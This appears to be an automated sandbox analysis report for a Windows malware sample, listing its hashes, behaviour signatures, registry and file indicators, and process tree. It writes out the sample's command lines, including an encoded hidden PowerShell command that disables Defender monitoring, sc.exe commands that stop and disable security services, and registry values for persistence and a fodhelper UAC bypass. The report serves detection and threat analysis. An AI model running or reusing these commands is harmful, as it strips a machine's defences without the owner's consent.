Analysis
- max time kernel
150s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
02/11/2026, 09:39
Static task
static1
Behavioral task
behavioral1
Sample
cronodon.com_hyber.exe
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
cronodon.com_hyber.exe
Resource
win11ltsc2024-20260911-en
General
- Target cronodon.com_hyber.exe
- Size 49KB
- Sample261102-lmx3naef82
- SHA256 089972b34e9adaabb4930b5407bcf10b637311a647182b783fe20bb2c2f33b00
- MD5 0e7c096a76a13a99b7c8e64847f16eab
- SHA1 4627676de6b0182d65fde43c4aaff8b3ab530d5b
- SHA512 6250bd1a7d672736af5b390ce13033e3ffe9a4918084b23bc22f6fbbbd334aba1c87e2a8e621be99eacc2897b129c6cef7f8273ecbf28e0173cb5f4c674fa896
- SSDEEP 768:GrVZZ6zs0hP4NaFkz0Clqn/NaPzfX/fqD4I:kZ6HhAN+JBnmP/fqD4I
- TLSH T19F33F74937ED4521D1BF9ABE89B291118731F493DC23DB8E1AD9459E09F3700CCA8B6B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/4332-1-0x0000000000DE0000-0x0000000000DF2000-memory.dmp disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" cronodon.com_hyber.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1568 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" cronodon.com_hyber.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts cronodon.com_hyber.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 2320 netsh.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf cronodon.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf cronodon.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf cronodon.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf cronodon.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf cronodon.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf cronodon.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_54.pdf cronodon.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf cronodon.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf cronodon.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf cronodon.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf cronodon.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf cronodon.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf cronodon.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf cronodon.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf cronodon.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_52.pdf cronodon.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf cronodon.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf cronodon.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf cronodon.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf cronodon.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf cronodon.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf cronodon.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf cronodon.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf cronodon.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf cronodon.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf cronodon.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf cronodon.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf cronodon.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf cronodon.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf cronodon.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf cronodon.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf cronodon.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf cronodon.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_140.pdf cronodon.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf cronodon.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf cronodon.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf cronodon.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf cronodon.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf cronodon.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_140.pdf cronodon.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_146.pdf cronodon.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf cronodon.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf cronodon.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf cronodon.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf cronodon.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf cronodon.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf cronodon.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf cronodon.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf cronodon.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf cronodon.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf cronodon.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf cronodon.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf cronodon.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf cronodon.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf cronodon.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf cronodon.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf cronodon.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf cronodon.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf cronodon.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf cronodon.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf cronodon.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf cronodon.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf cronodon.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf cronodon.com_hyber.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cronodon.com_hyber.exe" cronodon.com_hyber.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 5024 tasklist.exe - Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\sysupdate.exe cronodon.com_hyber.exe File opened for modification C:\Windows\system32\LogFiles\WMI\FaceUnlockManually.etl LogonUI.exe File created C:\Windows\system32\svchost.exe cronodon.com_hyber.exe File created C:\Windows\system32\sysupdate.exe cronodon.com_hyber.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 2300 wscript.exe 5104 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" cronodon.com_hyber.exe - Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\rescache\_merged\1190018277\1266118478.pri LogonUI.exe - Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3580 sc.exe 2428 sc.exe 4760 sc.exe 1348 sc.exe 4160 sc.exe 1004 sc.exe 4472 sc.exe 1920 sc.exe 2544 sc.exe 2712 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3772 cmd.exe 5360 cmd.exe 4460 cmd.exe 1244 cmd.exe 200 cmd.exe 276 cmd.exe 4564 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain cronodon.com_hyber.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname cronodon.com_hyber.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 LogonUI.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz LogonUI.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 6088 NETSTAT.EXE 5488 ipconfig.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1452 systeminfo.exe - Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 4416 vssadmin.exe 2972 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Control Panel\Desktop\WallpaperStyle = "2" cronodon.com_hyber.exe - Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe - Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000_Classes\ms-settings\shell\open cronodon.com_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cronodon.com_hyber.exe" cronodon.com_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet cronodon.com_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000_Classes\ms-settings\shell cronodon.com_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet" cronodon.com_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell cronodon.com_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\cronodon.com_hyber.exe\" \"%1\"" cronodon.com_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000_Classes\ms-settings cronodon.com_hyber.exe Key created \REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000_Classes\ms-settings cronodon.com_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000_Classes\ms-settings\shell\open\command\DelegateExecute cronodon.com_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command cronodon.com_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open cronodon.com_hyber.exe Key created \REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000_Classes\ms-settings\shell\open\command cronodon.com_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000_Classes\ms-settings\shell\open\command cronodon.com_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000_Classes\ms-settings\shell\open cronodon.com_hyber.exe Key created \REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000_Classes\ms-settings\shell cronodon.com_hyber.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3004 schtasks.exe 3980 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1568 powershell.exe 1568 powershell.exe 1568 powershell.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4748 WMIC.exe 4748 WMIC.exe 4748 WMIC.exe 4748 WMIC.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4220 WMIC.exe 4220 WMIC.exe 4220 WMIC.exe 4220 WMIC.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe 4332 cronodon.com_hyber.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4800 LogonUI.exe Token: SeCreatePagefilePrivilege 4800 LogonUI.exe Token: SeDebugPrivilege 4332 cronodon.com_hyber.exe Token: SeDebugPrivilege 1568 powershell.exe Token: SeIncreaseQuotaPrivilege 1568 powershell.exe Token: SeSecurityPrivilege 1568 powershell.exe Token: SeTakeOwnershipPrivilege 1568 powershell.exe Token: SeLoadDriverPrivilege 1568 powershell.exe Token: SeSystemProfilePrivilege 1568 powershell.exe Token: SeSystemtimePrivilege 1568 powershell.exe Token: SeProfSingleProcessPrivilege 1568 powershell.exe Token: SeIncBasePriorityPrivilege 1568 powershell.exe Token: SeCreatePagefilePrivilege 1568 powershell.exe Token: SeBackupPrivilege 1568 powershell.exe Token: SeRestorePrivilege 1568 powershell.exe Token: SeShutdownPrivilege 1568 powershell.exe Token: SeDebugPrivilege 1568 powershell.exe Token: SeSystemEnvironmentPrivilege 1568 powershell.exe Token: SeRemoteShutdownPrivilege 1568 powershell.exe Token: SeUndockPrivilege 1568 powershell.exe Token: SeManageVolumePrivilege 1568 powershell.exe Token: 33 1568 powershell.exe Token: 34 1568 powershell.exe Token: 35 1568 powershell.exe Token: 36 1568 powershell.exe Token: SeIncBasePriorityPrivilege 4332 cronodon.com_hyber.exe Token: SeDebugPrivilege 2900 whoami.exe Token: SeDebugPrivilege 5024 tasklist.exe Token: SeDebugPrivilege 6088 NETSTAT.EXE Token: SeIncreaseQuotaPrivilege 4748 WMIC.exe Token: SeSecurityPrivilege 4748 WMIC.exe Token: SeTakeOwnershipPrivilege 4748 WMIC.exe Token: SeLoadDriverPrivilege 4748 WMIC.exe Token: SeSystemProfilePrivilege 4748 WMIC.exe Token: SeSystemtimePrivilege 4748 WMIC.exe Token: SeProfSingleProcessPrivilege 4748 WMIC.exe Token: SeIncBasePriorityPrivilege 4748 WMIC.exe Token: SeCreatePagefilePrivilege 4748 WMIC.exe Token: SeBackupPrivilege 4748 WMIC.exe Token: SeRestorePrivilege 4748 WMIC.exe Token: SeShutdownPrivilege 4748 WMIC.exe Token: SeDebugPrivilege 4748 WMIC.exe Token: SeSystemEnvironmentPrivilege 4748 WMIC.exe Token: SeRemoteShutdownPrivilege 4748 WMIC.exe Token: SeUndockPrivilege 4748 WMIC.exe Token: SeManageVolumePrivilege 4748 WMIC.exe Token: 33 4748 WMIC.exe Token: 34 4748 WMIC.exe Token: 35 4748 WMIC.exe Token: 36 4748 WMIC.exe Token: SeIncreaseQuotaPrivilege 1568 powershell.exe Token: SeSecurityPrivilege 1568 powershell.exe Token: SeTakeOwnershipPrivilege 1568 powershell.exe Token: SeLoadDriverPrivilege 1568 powershell.exe Token: SeSystemProfilePrivilege 1568 powershell.exe Token: SeSystemtimePrivilege 1568 powershell.exe Token: SeProfSingleProcessPrivilege 1568 powershell.exe Token: SeIncBasePriorityPrivilege 1568 powershell.exe Token: SeCreatePagefilePrivilege 1568 powershell.exe Token: SeBackupPrivilege 1568 powershell.exe Token: SeRestorePrivilege 1568 powershell.exe Token: SeShutdownPrivilege 1568 powershell.exe Token: SeDebugPrivilege 1568 powershell.exe Token: SeSystemEnvironmentPrivilege 1568 powershell.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4332 cronodon.com_hyber.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 4800 LogonUI.exe 4800 LogonUI.exe 4332 cronodon.com_hyber.exe - Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 4332 wrote to memory of 1568 4332 cronodon.com_hyber.exe 91 PID 4332 wrote to memory of 2544 4332 cronodon.com_hyber.exe 93 PID 4332 wrote to memory of 4160 4332 cronodon.com_hyber.exe 95 PID 4332 wrote to memory of 1004 4332 cronodon.com_hyber.exe 97 PID 4332 wrote to memory of 4472 4332 cronodon.com_hyber.exe 99 PID 4332 wrote to memory of 2712 4332 cronodon.com_hyber.exe 101 PID 4332 wrote to memory of 1920 4332 cronodon.com_hyber.exe 150 PID 4332 wrote to memory of 3580 4332 cronodon.com_hyber.exe 105 PID 4332 wrote to memory of 2428 4332 cronodon.com_hyber.exe 107 PID 4332 wrote to memory of 2084 4332 cronodon.com_hyber.exe 108 PID 2084 wrote to memory of 4236 2084 fodhelper.exe 110 PID 4332 wrote to memory of 2300 4332 cronodon.com_hyber.exe 155 PID 4332 wrote to memory of 3004 4332 cronodon.com_hyber.exe 113 PID 4332 wrote to memory of 2716 4332 cronodon.com_hyber.exe 117 PID 4332 wrote to memory of 3772 4332 cronodon.com_hyber.exe 121 PID 4332 wrote to memory of 4564 4332 cronodon.com_hyber.exe 123 PID 4332 wrote to memory of 276 4332 cronodon.com_hyber.exe 124 PID 4332 wrote to memory of 200 4332 cronodon.com_hyber.exe 125 PID 4332 wrote to memory of 1244 4332 cronodon.com_hyber.exe 126 PID 4332 wrote to memory of 4460 4332 cronodon.com_hyber.exe 127 PID 4332 wrote to memory of 5360 4332 cronodon.com_hyber.exe 128 PID 4332 wrote to memory of 3980 4332 cronodon.com_hyber.exe 134 PID 4332 wrote to memory of 5104 4332 cronodon.com_hyber.exe 136 PID 4332 wrote to memory of 4416 4332 cronodon.com_hyber.exe 138 PID 4332 wrote to memory of 4748 4332 cronodon.com_hyber.exe 139 PID 4332 wrote to memory of 5280 4332 cronodon.com_hyber.exe 140 PID 4332 wrote to memory of 2320 4332 cronodon.com_hyber.exe 141 PID 4332 wrote to memory of 1348 4332 cronodon.com_hyber.exe 142 PID 4332 wrote to memory of 4760 4332 cronodon.com_hyber.exe 143 PID 276 wrote to memory of 5024 276 cmd.exe 149 PID 200 wrote to memory of 2900 200 cmd.exe 151 PID 1244 wrote to memory of 3364 1244 cmd.exe 152 PID 4564 wrote to memory of 1452 4564 cmd.exe 153 PID 5360 wrote to memory of 6088 5360 cmd.exe 154 PID 3364 wrote to memory of 2300 3364 net.exe 155 PID 3772 wrote to memory of 2972 3772 cmd.exe 156 PID 4460 wrote to memory of 5488 4460 cmd.exe 157 PID 5280 wrote to memory of 2652 5280 net.exe 158 PID 3772 wrote to memory of 4220 3772 cmd.exe 161 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\cronodon.com_hyber.exe"C:\Users\Admin\AppData\Local\Temp\cronodon.com_hyber.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Reads the TCP/IP host and domain name from the registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4332 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1568
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:2544
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:4160
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:1004
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:4472
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:2712
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:1920
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:3580
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:2428
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C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:2084 -
